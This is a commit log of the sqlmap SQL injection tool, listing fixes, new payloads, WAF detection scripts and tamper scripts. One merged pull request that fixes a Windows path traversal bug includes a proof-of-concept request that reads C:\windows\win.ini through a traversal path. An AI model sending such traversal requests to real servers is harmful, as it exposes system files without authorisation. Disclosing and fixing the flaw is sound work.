Miroslav Stampar 7d1bdb35ca Update of parsed versions 2016-06-01 10:44:08 +02:00
Miroslav Stampar e823889819 Update for JSP exceptions 2016-05-31 15:35:10 +02:00
Miroslav Stampar 680aedaefc Adding option --tmp-dir 2016-05-31 14:55:56 +02:00
Miroslav Stampar afdca09ced Minor patches (proper user warnings in case of output directory permissions) 2016-05-31 14:05:35 +02:00
Miroslav Stampar ac89ee71c3 Minor improvement 2016-05-31 13:29:43 +02:00
Miroslav Stampar af7c8cff92 Bug fix (previously removing temporary directory even if it is needed afterwards) 2016-05-31 13:21:08 +02:00
Miroslav Stampar 26d4dec5fb Minor refactoring 2016-05-31 13:02:26 +02:00
Miroslav Stampar cf31d12528 Adding support for python's cgitb tracebacks 2016-05-31 12:33:56 +02:00
Miroslav Stampar b4c730f8c0 Minor refactoring 2016-05-31 12:23:59 +02:00
Miroslav Stampar fba1720b31 Minor patch 2016-05-31 11:16:13 +02:00
Miroslav Stampar 9fad72f28b Adding support for MsAccess usage of parsed FROM table names (e.g. in case of ColdFusion) 2016-05-31 11:08:23 +02:00
Miroslav Stampar 1782bf8e64 Adding support for parsing ODBC/JDBC error messages 2016-05-31 10:49:34 +02:00
Miroslav Stampar 2d59a10515 Better patch than last commit 2016-05-31 10:25:01 +02:00
Miroslav Stampar 21a25c4f00 Bug for fix comments in case of MsAccess 2016-05-31 10:24:13 +02:00
Miroslav Stampar 6b5c16c22c Minor update for ColdFusion error messages 2016-05-31 09:54:14 +02:00
Miroslav Stampar 2c6621c26a Minor upgrade for WAF/IDS/IPS detection 2016-05-31 09:49:50 +02:00
Miroslav Stampar f0500b1d2f Minor update for ColdFusion path regexes 2016-05-31 09:35:58 +02:00
Miroslav Stampar 6a033bb58c Minor update for ColdFusion type casting 2016-05-31 09:31:32 +02:00
Miroslav Stampar 2fa4b22645 Patch for URL encoding cookie values (asking the user to choose) 2016-05-30 17:47:08 +02:00
Miroslav Stampar 229d3a7dd0 Patch for cases when error page looks more like original, than the False one does 2016-05-30 16:46:23 +02:00
Miroslav Stampar b965e5bf1c Minor refactoring 2016-05-30 16:06:39 +02:00
Miroslav Stampar 3bd74c5351 Minor patch 2016-05-30 15:20:21 +02:00
Miroslav Stampar 55624ec1a2 Minor message update 2016-05-30 14:40:22 +02:00
Miroslav Stampar 6885afe8c3 Minor update for requestvalidationmode.py waf script 2016-05-30 14:26:55 +02:00
Miroslav Stampar acc1277246 Minor update 2016-05-30 14:13:57 +02:00
Miroslav Stampar 935cb9c8cb Patch for a custom header cookie urlencoding 2016-05-30 14:09:53 +02:00
Miroslav Stampar 17a4ddad63 Fixes #1916 2016-05-30 13:10:25 +02:00
Miroslav Stampar 5264671f5b Dump formatting patch for MsAccess 2016-05-30 12:03:33 +02:00
Miroslav Stampar b4ebbae354 New payload(s) 2016-05-30 11:25:24 +02:00
Miroslav Stampar 510197c39e Minor text update 2016-05-30 10:52:30 +02:00
Miroslav Stampar b6a4bd91fe Minor text update 2016-05-30 10:51:35 +02:00
Miroslav Stampar 83b82a5e98 Bug fix (wrong handler used in case of DBMS resolution) 2016-05-30 10:32:49 +02:00
Miroslav Stampar 0b1efc0759 Minor update (for newer versions of MsSQL) 2016-05-30 01:38:34 +02:00
Miroslav Stampar 2b506d744d Minor update 2016-05-30 01:29:40 +02:00
Miroslav Stampar 79d08906a4 Cleaning some redundant payload(s) 2016-05-27 23:59:48 +02:00
Miroslav Stampar d27b33e26c Update README.md 2016-05-27 23:03:59 +02:00
Miroslav Stampar 73d86f0fdd Merge pull request #1898 from kuma-guy/ja-JP
Adding translation for README in Japanese(JP).
2016-05-27 23:02:11 +02:00
Miroslav Stampar 6327063bd0 Minor patch 2016-05-27 16:43:01 +02:00
Miroslav Stampar 69fd900108 Adding waf script for detection of generic/unknown 2016-05-27 16:34:41 +02:00
Miroslav Stampar f9d01f682b Cloudflare has tons of HTTP error codes while detecting SQLi 2016-05-27 15:58:16 +02:00
Miroslav Stampar d7d3db415b Minor update 2016-05-27 15:32:30 +02:00
Miroslav Stampar 608f141f52 New waf scripts 2016-05-27 15:22:08 +02:00
Miroslav Stampar 31850e4544 Minor bug fixes 2016-05-27 13:58:18 +02:00
Miroslav Stampar de9f23939f Major bug fix in WAF/IDS/IPS detection (question 'do you want..to try to detect backend WAF/IPS/IDS' never worked) 2016-05-27 13:41:03 +02:00
Miroslav Stampar 154ed2c4e2 Minor patch 2016-05-27 13:33:14 +02:00
Miroslav Stampar 89dfe4e1ac Adding wallarm WAF script (and couple of other WAF script updates) 2016-05-27 11:58:18 +02:00
Miroslav Stampar b41b07ddd8 Updates for 360 and jiasule WAF scripts 2016-05-27 11:02:05 +02:00
Miroslav Stampar e36fc02282 Adding sophos WAF script 2016-05-27 10:17:42 +02:00
Miroslav Stampar 49b41c1eca Minor update for cloudflare waf script 2016-05-27 09:43:54 +02:00
Miroslav Stampar 4cd9fdb7df Minor update for F5 waf script 2016-05-27 09:27:45 +02:00
Miroslav Stampar 5aab2d8fb5 Update for Akamai Kona WAF script 2016-05-27 09:22:39 +02:00
Miroslav Stampar 210b65c02d Couple of fixes for --identify-waf 2016-05-27 02:24:59 +02:00
Miroslav Stampar 7a2ac23f0b Adding new waf script (sitelock) 2016-05-27 02:13:01 +02:00
Miroslav Stampar e435fb2e9e Adding new waf script (comodo) 2016-05-27 01:23:20 +02:00
Miroslav Stampar 6892c94595 Minor update 2016-05-27 01:10:37 +02:00
Miroslav Stampar 831c960216 Update for an Issue #1899 2016-05-26 16:47:38 +02:00
Miroslav Stampar 43af2a4aee Fixes #1899 2016-05-26 16:08:59 +02:00
Shingo Kumagai 190819e85d Adding translation for README in Japanese(JP). 2016-05-26 09:37:45 +09:00
Miroslav Stampar 1de6996c26 Fixes #1893 2016-05-25 15:43:39 +02:00
Miroslav Stampar 304f2ed308 Minor language patch 2016-05-25 15:32:17 +02:00
Miroslav Stampar 148b35da4f Better extraction of absolute file paths 2016-05-25 15:29:25 +02:00
Miroslav Stampar 3865b3a398 Minor improvement in case of technique E (when waiting for large entry - lots of chunks) 2016-05-25 12:50:53 +02:00
Miroslav Stampar d6bcbbae1d Minor patch for E technique to be more compatible with output of U technique 2016-05-25 12:42:15 +02:00
Miroslav Stampar 04b3aefc5d Patch for special character output in U and E techniques 2016-05-25 12:24:36 +02:00
Miroslav Stampar a5f8cae599 Fixes #1892 2016-05-24 17:58:35 +02:00
Miroslav Stampar 29c3037512 Better asciinema recording (shorter width) 2016-05-24 17:26:10 +02:00
Miroslav Stampar d0d7d3a205 Update of location of a sample run 2016-05-24 17:12:44 +02:00
Miroslav Stampar 7ce36ea1b6 Removal of unused imports 2016-05-24 16:40:44 +02:00
Miroslav Stampar 6f97f4796b Fixes #1891 2016-05-24 16:34:07 +02:00
Miroslav Stampar 39fe96009f Minor improvement (related to the last commit) 2016-05-24 16:20:39 +02:00
Miroslav Stampar b475a38895 Better ORDER BY detection 2016-05-24 15:46:06 +02:00
Miroslav Stampar 42de887b05 Language update 2016-05-24 15:18:19 +02:00
Miroslav Stampar 28576bf08e Minor output update 2016-05-24 15:08:04 +02:00
Miroslav Stampar c395958dff Fixes #1888 2016-05-24 14:55:19 +02:00
Miroslav Stampar 798b539eec Minor update 2016-05-24 14:50:56 +02:00
Miroslav Stampar 70cf8edc75 Fixes #1887 2016-05-24 14:17:00 +02:00
Miroslav Stampar a81ea88eb0 Fixes #1889 2016-05-24 13:59:34 +02:00
Miroslav Stampar 023dda26fc Minor update for --os-shell directories 2016-05-24 12:53:21 +02:00
Miroslav Stampar 3e76895155 Minor update 2016-05-24 12:30:01 +02:00
Miroslav Stampar 2c1bd7f034 Update for an Issue #1531 (MySQL quirk with international letters) 2016-05-24 12:01:02 +02:00
Miroslav Stampar f7cae68378 More formal language 2016-05-22 21:44:17 +02:00
Miroslav Stampar f6ff1a115a Better (automatic) picking of a --string candidate (especially in case of international pages) 2016-05-22 21:29:08 +02:00
Miroslav Stampar 32ee586e2a Minor language update 2016-05-22 14:30:32 +02:00
Miroslav Stampar b9e5655e3c Proper naming 2016-05-22 14:26:36 +02:00
Miroslav Stampar 6623c3f877 Pesky bug fix (nobody noticed :) 2016-05-22 14:22:31 +02:00
Miroslav Stampar 30a4173249 I like users which don't know the difference between detection and identification 2016-05-22 12:40:23 +02:00
Miroslav Stampar dbbe4c6ddd Fixes #1884 2016-05-22 11:44:21 +02:00
Miroslav Stampar 633e4dfe48 Fixes #1886 2016-05-22 11:37:27 +02:00
Miroslav Stampar 5e8b105677 Fixes #1880 2016-05-19 19:46:12 +02:00
Miroslav Stampar 414dd96bbd Minor update (warning on negative integer values provided) 2016-05-19 18:04:25 +02:00
Miroslav Stampar e857c2a88a Update for an Issue #1879 2016-05-19 13:50:31 +02:00
Miroslav Stampar e7aaea2b8e Update for an Issue #1826 2016-05-17 14:10:49 +02:00
Miroslav Stampar 63d7cd607e Minor patch (for late threading issues) 2016-05-17 13:54:42 +02:00
Miroslav Stampar d886b08dd9 Update for an Issue #1826 2016-05-17 13:45:03 +02:00
Miroslav Stampar 72f3185ae7 Fixes #1878 2016-05-17 10:47:17 +02:00
Miroslav Stampar 03be9f9b65 Minor removal of blank lines 2016-05-17 10:43:16 +02:00
Miroslav Stampar d9d0865c13 Another patch for an Issue #1874 2016-05-16 17:09:05 +02:00
Miroslav Stampar e3f54bc226 Minor patch for #1874 2016-05-16 16:53:28 +02:00
Miroslav Stampar 9662f4a56a Minor update 2016-05-16 16:47:29 +02:00
Miroslav Stampar fea5cc8579 Minor patch 2016-05-16 15:37:49 +02:00
Miroslav Stampar 94091cd0e9 Fixes #1871 2016-05-15 09:37:45 +02:00
Miroslav Stampar cc9f4b6102 Minor refactoring for MariaDB 2016-05-14 15:05:50 +02:00
Miroslav Stampar cd7c99c752 Minor revert (it was not necessary - caused other problems) 2016-05-14 14:48:17 +02:00
Miroslav Stampar 75478c1181 Fixes #1868 2016-05-14 14:18:34 +02:00
Miroslav Stampar ad0ca69579 Fixes #1865 2016-05-13 15:14:56 +02:00
Miroslav Stampar 2d801b7122 Minor patch for an Issue #1861 2016-05-12 17:16:55 +02:00
Miroslav Stampar 1e07269fe3 Patch for an Issue #1860 2016-05-12 16:42:12 +02:00
Miroslav Stampar 3b74e99576 Minor update (support for MariaDB) 2016-05-11 15:47:35 +02:00
Miroslav Stampar 439fff684e Minor update (MSSQL CONCAT payload) 2016-05-11 09:42:54 +02:00
Miroslav Stampar 72cf06119c Patch for an Issue #1852 2016-05-10 09:55:03 +02:00
Miroslav Stampar 808068d70a Minor update 2016-05-10 09:19:59 +02:00
Miroslav Stampar f09072b2b6 Fixes #1853 2016-05-09 13:13:02 +02:00
Miroslav Stampar be9381abc5 Implements #1845 2016-05-06 13:06:59 +02:00
Miroslav Stampar 5d09f7b85f Fixes #1822 2016-05-06 10:32:16 +02:00
Miroslav Stampar 8bbfee7591 Cleaning a leftover from be26392057 2016-05-06 10:30:58 +02:00
Miroslav Stampar be26392057 Update for an Issue #1846 2016-05-06 10:23:57 +02:00
Miroslav Stampar 263730f4ee Fixes #1840 2016-05-04 13:23:59 +02:00
Miroslav Stampar 5d7e1782d9 Fixes #1839 2016-05-04 11:14:42 +02:00
Miroslav Stampar e27f590c2c Fixes #1838 2016-05-04 11:11:58 +02:00
Miroslav Stampar 7afe655561 Another minor update for #1836 2016-05-03 12:52:46 +02:00
Miroslav Stampar 3bf08290a4 Update for an Issue #1836 2016-05-03 12:37:10 +02:00
Miroslav Stampar 34c2172391 Fixes #1837 2016-05-03 11:38:47 +02:00
Miroslav Stampar 48044f7a46 Minor update of IDS_WAF_CHECK_PAYLOAD 2016-05-03 00:19:19 +02:00
Miroslav Stampar 04e666182f Minor update of FORMAT_EXCEPTION_STRINGS 2016-05-02 23:44:43 +02:00
Miroslav Stampar c797129956 Fixes #1833 2016-05-02 11:10:12 +02:00
Miroslav Stampar 6928dae956 Minor patch 2016-05-02 10:45:50 +02:00
Miroslav Stampar 6db3bcbb51 Minor update for UrlScan 2016-05-02 10:12:19 +02:00
Miroslav Stampar d7f0b3566d Automatic monthly tagging 2016-05-02 10:06:30 +02:00
Miroslav Stampar 0c67a90cc0 Minor bug fix 2016-05-02 10:06:30 +02:00
Miroslav Stampar f06e498fb0 Implementation for an Issue #1826 2016-04-29 14:19:32 +02:00
Miroslav Stampar ad612bf9e4 Patch for Windows banner display 2016-04-29 00:51:20 +02:00
Miroslav Stampar 9dd5cd8eb6 Removing CloudFlare check 2016-04-29 00:17:07 +02:00
Miroslav Stampar 5ed3cdc819 Minor update 2016-04-22 10:54:55 +02:00
Miroslav Stampar e07c92bce5 Minor change on banner showing up 2016-04-19 13:45:49 +02:00
Miroslav Stampar 0c5965c7b8 Minor patches 2016-04-19 13:13:37 +02:00
Miroslav Stampar aa21550712 Minor patch for integer casting heuristics (circumvent auto-casting by DBMS itself) 2016-04-15 13:47:19 +02:00
Miroslav Stampar 66061e8c5f Fixes #1811 2016-04-15 12:04:54 +02:00
Miroslav Stampar c4b74c2e01 Fixes #1810 2016-04-12 22:37:14 +02:00
Miroslav Stampar 55b23e78ee Fixes #1809 2016-04-12 22:10:26 +02:00
Miroslav Stampar a9526bda92 Minor patch 2016-04-11 22:38:44 +02:00
Miroslav Stampar 0901da3f83 Update for an Issue #1807 2016-04-11 09:43:50 +02:00
Miroslav Stampar 8004652f7b Some more optimization 2016-04-08 15:30:25 +02:00
Miroslav Stampar c9b410c97f Minor update 2016-04-08 14:59:52 +02:00
Miroslav Stampar 814d710320 Minor speed up 2016-04-08 14:41:34 +02:00
Miroslav Stampar 38fcc5a35a Update for pre-WHERE payloads 2016-04-08 13:19:42 +02:00
Miroslav Stampar 674d516f3e Minor patch 2016-04-08 11:40:09 +02:00
Miroslav Stampar 8ceb4907a5 Another update for Issue #1800 2016-04-08 11:37:38 +02:00
Miroslav Stampar ce3749622a Minor revisit of payload boundaries (Issue #1800) 2016-04-08 11:28:17 +02:00
Miroslav Stampar bcfae99701 Adding new WAF script 2016-04-08 10:32:18 +02:00
Miroslav Stampar 44c1c2c6f0 Minor update (reported via email) 2016-04-06 11:43:53 +02:00
Miroslav Stampar ac08db82b2 Including one more error regex (based on testasp[.]vulnweb[.]com) 2016-04-04 16:14:30 +02:00
Miroslav Stampar 305bfd9d30 Implements #1763 2016-04-04 13:50:10 +02:00
Miroslav Stampar f9aaec7b4a Minor patch (binary extensions) 2016-04-04 12:43:53 +02:00
Miroslav Stampar d881a92ee7 Automatic monthly tagging 2016-04-04 12:38:37 +02:00
Miroslav Stampar 60ada89347 Trying once again 2016-04-04 12:38:37 +02:00
Miroslav Stampar 171bfa33a7 Automatic monthly tagging 2016-04-04 12:34:19 +02:00
Miroslav Stampar acaef90c7b Minor tuning of auto tagging 2016-04-04 12:34:19 +02:00
Miroslav Stampar 31d7021d4c Fixes #1794 2016-04-04 12:25:07 +02:00
Miroslav Stampar e83d8f6143 Updating colorama (Issue #1784) 2016-03-30 15:11:34 +02:00
Miroslav Stampar 0245ce6228 Fixes #1782 2016-03-28 19:55:33 +02:00
Miroslav Stampar 7e55af2811 Fixes #1778 2016-03-28 16:13:36 +02:00
Miroslav Stampar ad3b766b65 Adding in-table name boundaries 2016-03-26 09:39:28 +01:00
Miroslav Stampar 074fbbcea5 Implementation for an Issue #1776 2016-03-23 15:45:49 +01:00
Miroslav Stampar 5b0d5970cc Another patch related to the #1773 2016-03-23 10:33:32 +01:00
Miroslav Stampar 6c2f9859be Potential patch for #1773 2016-03-23 10:26:22 +01:00
Miroslav Stampar d496d99943 Fixes #1774 2016-03-22 13:24:54 +01:00
Miroslav Stampar d20e9febf2 Fixes #1770 2016-03-19 17:40:05 +01:00
Miroslav Stampar d76ee8f534 Further update for #1765 2016-03-17 17:06:11 +01:00
Miroslav Stampar 5b88e3e1ad Minor update of version comment 2016-03-17 16:38:39 +01:00
Miroslav Stampar a68848faf7 (Auto) adjusting micro version (to current month) 2016-03-17 16:31:34 +01:00
Miroslav Stampar a4f21399e7 Fixes #1760 2016-03-17 16:23:28 +01:00
Miroslav Stampar e03b2df58f Fixes #1761 2016-03-14 17:21:35 +01:00
Miroslav Stampar 252eb97198 Patch related to the #1755 2016-03-12 19:28:28 +01:00
Miroslav Stampar 67ae620182 Another patch related to the #1752 2016-03-12 15:04:19 +01:00
Miroslav Stampar 13366aeb48 Fixes #1752 2016-03-12 12:26:30 +01:00
Miroslav Stampar e1ce16144a Fixes #1753 2016-03-10 15:42:01 +01:00
Miroslav Stampar 3307918389 Fixes #1750 2016-03-10 14:48:05 +01:00
Miroslav Stampar c50849707f Fixes #1748 2016-03-08 14:35:16 +01:00
Miroslav Stampar 06296bd251 Fixes #1743 2016-03-06 20:04:45 +01:00
Miroslav Stampar 0f6e529fb9 Fixes #1745 2016-03-06 12:14:20 +01:00
Miroslav Stampar 242800c085 Minor update related to the #1740 2016-03-01 15:40:34 +01:00
Miroslav Stampar da5fff7775 Merge pull request #1740 from crashbrz/patch-1
Update errors.xml
2016-03-01 15:37:34 +01:00
Miroslav Stampar 679f0cf772 Fixes #1738 2016-03-01 15:36:00 +01:00
Ewerson Guimaraes (Crash) 8df56ecc72 Update errors.xml
Add support to Sybase 15.7 error based
2016-03-01 15:13:38 +01:00
Miroslav Stampar 1b5a4651a9 Trivial refactoring 2016-03-01 14:48:53 +01:00
Miroslav Stampar 05fa7eb7c6 Minor update 2016-03-01 11:56:56 +01:00
Miroslav Stampar 336169e181 Update of version display 2016-02-29 08:12:38 +01:00
Miroslav Stampar b2bc3d49fd Minor update 2016-02-29 00:52:46 +01:00
Miroslav Stampar 71aa7deefe Minor beautification 2016-02-29 00:49:45 +01:00
Miroslav Stampar cf5ae507c8 Minor update of READMEs 2016-02-29 00:44:08 +01:00
Miroslav Stampar 4898a2c332 Dummy commit 2016-02-29 00:30:37 +01:00
Miroslav Stampar 151dcee32e Minor update 2016-02-29 00:23:59 +01:00
Miroslav Stampar 73f1155847 Adding new shutils file 2016-02-29 00:20:58 +01:00
Miroslav Stampar fcf9998010 Adding support for Travis CI 2016-02-29 00:04:31 +01:00
Miroslav Stampar 26b895dd2e Merge pull request #1733 from Aikes/master
Fixes file path traversal issue on win platform.
2016-02-28 23:35:09 +01:00
Miroslav Stampar c66607c998 Merge pull request #1735 from sqlmapproject/1.0
Adjusting version number
2016-02-27 16:02:55 +01:00
Miroslav Stampar adfcb1ad67 Adjusting version number 2016-02-27 15:59:52 +01:00
Miroslav Stampar f190327da3 Minor update 2016-02-27 15:41:15 +01:00
Miroslav Stampar 76b1aca0c7 Update of DOCs 2016-02-27 15:28:31 +01:00
Miroslav Stampar db51af6ee1 Minor update 2016-02-27 15:26:51 +01:00
Aikes b4bb4c393b Fixes file path traversal issue on win platform.
POC: GET /download/b31146dcdb92e5db/C:\windows\win.ini/a
2016-02-27 00:10:32 +08:00
Miroslav Stampar d69ef5ec49 Merge pull request #1732 from enisozgen/master
Turkish translation
2016-02-25 21:44:39 +01:00
Enis Ozgen a3c9e441a7 Turkish translation 2016-02-25 15:19:54 +02:00
Miroslav Stampar 21885021e7 Fixes #1731 2016-02-25 13:34:41 +01:00
Miroslav Stampar 98972d0740 Moving CONTRIBUTING.md to doc directory 2016-02-25 09:41:21 +01:00
Miroslav Stampar c5ecdb5403 Minor update related to the Issue #1730 2016-02-25 01:20:48 +01:00
Miroslav Stampar 1e4b824827 Minor update 2016-02-23 23:58:53 +01:00
Miroslav Stampar b11242ec15 Update of CHANGELOG.md 2016-02-23 22:51:08 +01:00
Miroslav Stampar a90913c57d Proper patch for #1723 2016-02-23 11:46:04 +01:00
Miroslav Stampar 256b1988b9 Fixes #1726 2016-02-23 11:06:52 +01:00
Miroslav Stampar c99e974be2 Merge pull request #1728 from LionNatsu/patch-2
Minor change: typo
2016-02-23 11:02:10 +01:00
Lion Yang bc6cc4bc1d Remove a whitespace tail 2016-02-23 16:57:06 +08:00
Miroslav Stampar 3a94435cce Minor update 2016-02-18 13:56:47 +01:00
Miroslav Stampar d6bac363af Minor patch for combo -r and --method 2016-02-18 11:13:51 +01:00
Miroslav Stampar 82abf1f742 Fixes #1714 2016-02-16 09:56:53 +01:00
Miroslav Stampar 4cd3813f68 Patch to include traceback into the sqlmapapi based unhandled exception messages 2016-02-16 09:15:57 +01:00
Miroslav Stampar cc06871075 Adding some debug messages for future-self 2016-02-16 08:58:18 +01:00
Miroslav Stampar 08d733cf02 Fixes #1709 2016-02-15 00:00:48 +01:00
Miroslav Stampar 4ee0495352 Merge pull request #1710 from Noelkd/remove-dead-links
Removed dead links.
2016-02-14 22:56:25 +01:00
Noelkd 0514946efa Removed dead links. 2016-02-14 15:57:55 +00:00
Miroslav Stampar 4237333dca Minor nuisance patch 2016-02-13 21:28:02 +01:00
Miroslav Stampar 78e503d7b2 Minor patch related to the #1706 2016-02-13 21:25:01 +01:00
Miroslav Stampar 9d18d48a6e Minor consistency patch 2016-02-13 21:18:56 +01:00
Miroslav Stampar 410df455ab Minor consistency patch 2016-02-13 21:03:05 +01:00
Miroslav Stampar d7cdb6cbd8 Minor update 2016-02-06 20:16:33 +01:00
Miroslav Stampar cedfdc78f4 Adding escapequotes.py (utility tamper script) 2016-02-05 12:00:57 +01:00
Miroslav Stampar 08aae2b7c5 Bug fix (--prefix should not fix the origValue in REPLACEMENT payloads) 2016-02-05 11:53:24 +01:00
Miroslav Stampar b07685a386 Added checking of localhost for another DNS service on *:53 2016-02-03 11:55:13 +01:00
Miroslav Stampar 4916f1b2b2 Minor path related to the #1676 2016-01-28 09:10:04 +01:00
Miroslav Stampar 954b4ec32b Fix for #1676 2016-01-27 21:25:34 +01:00
Miroslav Stampar ee0439cf11 Update for #1678 2016-01-27 10:03:30 +01:00
Miroslav Stampar 3605b98e84 Merge pull request #1678 from dozysun/servername-option
add --adapter option to support various of  bottle server adapter
2016-01-27 09:44:31 +01:00
dozysun 997362f61b change option name to adapter 2016-01-27 10:35:18 +08:00
Miroslav Stampar 62f94f6587 Adding comments (Issue #1681) 2016-01-26 07:52:25 +01:00
Miroslav Stampar f532ad3c9c Minor bug fix 2016-01-26 07:32:47 +01:00
Miroslav Stampar c34eaa1ce8 Minor patch 2016-01-24 22:05:08 +01:00
dozysun f5ffd9fa02 add --servername option to support various of bottle server adapter 2016-01-22 11:33:12 +08:00
Miroslav Stampar c6c5a937f9 Minor style update 2016-01-21 10:17:17 +01:00
Miroslav Stampar 574b3a79aa Adding support for detection of CloudFlare responses 2016-01-21 10:16:23 +01:00
Miroslav Stampar 034de9676e Closes #1675 2016-01-20 09:33:05 +01:00
Miroslav Stampar f54b25ca2a Adding one more regex for MsAccess error recognition 2016-01-17 15:22:53 +01:00
Miroslav Stampar 8d42a93fdc Fixes #1665 2016-01-16 08:13:56 +01:00
Miroslav Stampar 6fef2948ff Minor consistency update 2016-01-14 22:51:26 +01:00
Miroslav Stampar 66eaac862b Minor consistency update 2016-01-14 22:47:56 +01:00
Miroslav Stampar 59695af101 Minor improvement of heuristic checks 2016-01-14 22:21:47 +01:00
Miroslav Stampar 8b90d146f6 Update of file attributes 2016-01-14 18:02:15 +01:00
Miroslav Stampar df8e4b504d Patch for special cases of OR boolean-based blind (covered with last two commits) 2016-01-14 13:51:30 +01:00
Miroslav Stampar bdcf3fffba Minor update related to the last (error results in OR boolean-based blind should not be the same as True to be able to do proper comparison) 2016-01-14 13:40:50 +01:00
Miroslav Stampar c7ef9429ae Minor check for problematic injections 2016-01-14 13:16:44 +01:00
Miroslav Stampar c78a9cd156 Consistency patch 2016-01-14 12:14:00 +01:00
Miroslav Stampar 4c1fc095d8 Adding heuristic check for FI vulnerability 2016-01-14 09:59:13 +01:00
Miroslav Stampar a8c6c6fca1 Minor update related to the last one 2016-01-13 23:47:34 +01:00
Miroslav Stampar 4e29e1b351 Fixing wrong commit #4f939b5719716dfe9bd085c4f67696bc11064edd 2016-01-13 23:34:42 +01:00
Miroslav Stampar 8362bdcf66 Fix for screw up made by #52dd92748a50bcee4fb979ea49185840ff6743b9 2016-01-13 23:16:27 +01:00
Miroslav Stampar 87676eb4bb Minor update for #1660 2016-01-13 23:05:28 +01:00
Miroslav Stampar c410f16f3f Fixes #1660 2016-01-13 23:02:11 +01:00
Miroslav Stampar e9745cc0be Minor just in case patch 2016-01-13 22:47:42 +01:00
Miroslav Stampar 0c8c4fa0d9 Fixes #1663 2016-01-13 14:38:59 +01:00
Miroslav Stampar c37f4855bb Another patch for Issue #1659 2016-01-12 10:34:56 +01:00
Miroslav Stampar eb989469f3 Minor just in case update 2016-01-12 10:27:04 +01:00
Miroslav Stampar 9b716fcce9 Patch related to the #1659 2016-01-12 10:24:28 +01:00
Miroslav Stampar a0b67418c7 Just in case update 2016-01-11 00:34:03 +01:00
Miroslav Stampar 7e78554e97 For frenzy Ctrl-C pressing 2016-01-11 00:08:38 +01:00
Miroslav Stampar 78a512500d Better place for setting flags 2016-01-11 00:03:22 +01:00
Miroslav Stampar 1f01d6022c Minor style update 2016-01-10 23:50:24 +01:00
Miroslav Stampar ab3ff0257a Minor patch 2016-01-10 23:27:32 +01:00
Miroslav Stampar 2280cd191a Fixes #1654 2016-01-10 23:15:43 +01:00
Miroslav Stampar e53e4dddf1 Minor patch 2016-01-10 23:12:46 +01:00
Miroslav Stampar e519ed2e18 Another patch related to the #1655 2016-01-10 23:07:11 +01:00
Miroslav Stampar 8b01996adf Patch related to the #1655 2016-01-10 22:59:40 +01:00
Miroslav Stampar 6b40e0aa8c Minor style update (nongit-version) 2016-01-10 02:08:23 +01:00
Miroslav Stampar 85b35f44a0 Minor refactoring for #1637 2016-01-09 17:39:53 +01:00
Miroslav Stampar 0017c17e7d Merge pull request #1637 from jakxx/master
Addition to IBM DB2 SQL Error Identification
2016-01-09 17:39:06 +01:00
Miroslav Stampar 5908964db4 Another (better) patch for #1636 2016-01-09 17:32:19 +01:00
Miroslav Stampar 0f8a551227 Potential patch for #1636 2016-01-09 00:55:01 +01:00
Miroslav Stampar 3c9be947c5 Fixes #1649 2016-01-09 00:15:05 +01:00
Miroslav Stampar 48ac2101f2 Using only once the dummy checkWaf payload 2016-01-08 23:23:41 +01:00
Miroslav Stampar de06ae6803 Fixes #1647 2016-01-08 23:10:32 +01:00
Miroslav Stampar c7ea3d65be Fixes #1644 2016-01-08 15:33:14 +01:00
Miroslav Stampar e3650342bd Fixes #1639 2016-01-08 11:47:12 +01:00
Miroslav Stampar b427f6c03e Minor bug fix 2016-01-08 10:52:02 +01:00
Miroslav Stampar 6f3511dcc3 Error chunk length bug fix (reported privately) 2016-01-08 10:45:31 +01:00
Miroslav Stampar b43c1747e0 Minor refactoring 2016-01-07 21:58:10 +01:00
Miroslav Stampar c5d3198101 Minor refactoring 2016-01-07 21:46:20 +01:00
Andrew Smith 777e4a3db2 Update for false positives
Attempt to eliminate false positives using more specific regex
2016-01-07 15:42:22 -05:00
Andrew Smith b84d787f4a Addition of IBM DB2 Error Codes 2016-01-07 10:15:09 -05:00
Miroslav Stampar 9b70728441 Minor update 2016-01-06 00:12:24 +01:00
Miroslav Stampar d565740b8a Update of copyright string 2016-01-06 00:07:49 +01:00
Miroslav Stampar d0d676ccce Update of copyright string 2016-01-06 00:06:12 +01:00
Miroslav Stampar 59ff8114ff Fixes #1635 2016-01-04 12:09:08 +01:00
Miroslav Stampar 7d334cca48 Minor style patch 2016-01-04 12:08:56 +01:00
Miroslav Stampar 03160d99eb Fixes #1630 2015-12-30 13:39:08 +01:00
Miroslav Stampar 42066cfb3d Minor refactoring 2015-12-30 12:41:56 +01:00
Miroslav Stampar dd8fcaeb43 Minor refactoring of some revisited code 2015-12-29 14:32:13 +01:00
Miroslav Stampar fc5802f461 Fixes #1628 2015-12-29 13:19:25 +01:00
Miroslav Stampar 849babaf8d Minor patch for too fast Ctrl-C(-ers) 2015-12-28 11:39:46 +01:00
Miroslav Stampar 24d95ab6b3 Fixes #1624 2015-12-24 10:34:42 +01:00
Miroslav Stampar 3454e356f9 Fixes #1621 2015-12-23 08:55:45 +01:00
Miroslav Stampar 7411ff93e5 Minor update related to the #1620 2015-12-23 08:14:18 +01:00
Miroslav Stampar ae7481081e Patch for an Issue reported via email 2015-12-19 23:45:10 +01:00
Miroslav Stampar 89e0fc8ffa Minor update 2015-12-19 17:50:12 +01:00
Miroslav Stampar 1f6caba725 Merge pull request #1614 from getcode2git/master
update some feature
2015-12-19 17:46:43 +01:00
getcode2git eb79b0aae8 Create safe3.py
Safe3 Web Application Firewall
2015-12-19 15:41:25 +08:00
getcode2git 7ed7497fda update safedog.py
update some feature
2015-12-19 15:39:14 +08:00
Miroslav Stampar e4ed1c058b Minor error message improvement (SSL issues) 2015-12-18 17:15:59 +01:00
Miroslav Stampar aee47d32c5 Patch for #1601 2015-12-15 12:13:03 +01:00
Miroslav Stampar d7d786d3b5 Fixes #1607 2015-12-15 11:29:37 +01:00
Miroslav Stampar b269e8418f Fixes #1608 2015-12-15 10:46:37 +01:00
Miroslav Stampar dc7f2a71d2 Minor refactoring 2015-12-12 23:48:30 +01:00
Miroslav Stampar 273679f542 Adding new charset replacement (reported via email) 2015-12-10 13:23:50 +01:00
Miroslav Stampar 663c976a3b Fixes #1600 2015-12-09 19:53:48 +01:00
Miroslav Stampar 2eb5f5e841 Handling 'address already in use' for sqlmapapi server instance 2015-12-09 12:20:09 +01:00
Miroslav Stampar 31d250f98e Fixes #1592 2015-12-09 12:00:34 +01:00
Miroslav Stampar 1c5c937507 Minor update 2015-12-09 10:14:13 +01:00
Miroslav Stampar efc91b015d Fixes #1589 2015-12-09 10:07:37 +01:00
Miroslav Stampar af60f11319 Fixes #1584 (hello @w3af looking for the patch of this one ;) 2015-12-07 16:17:28 +01:00
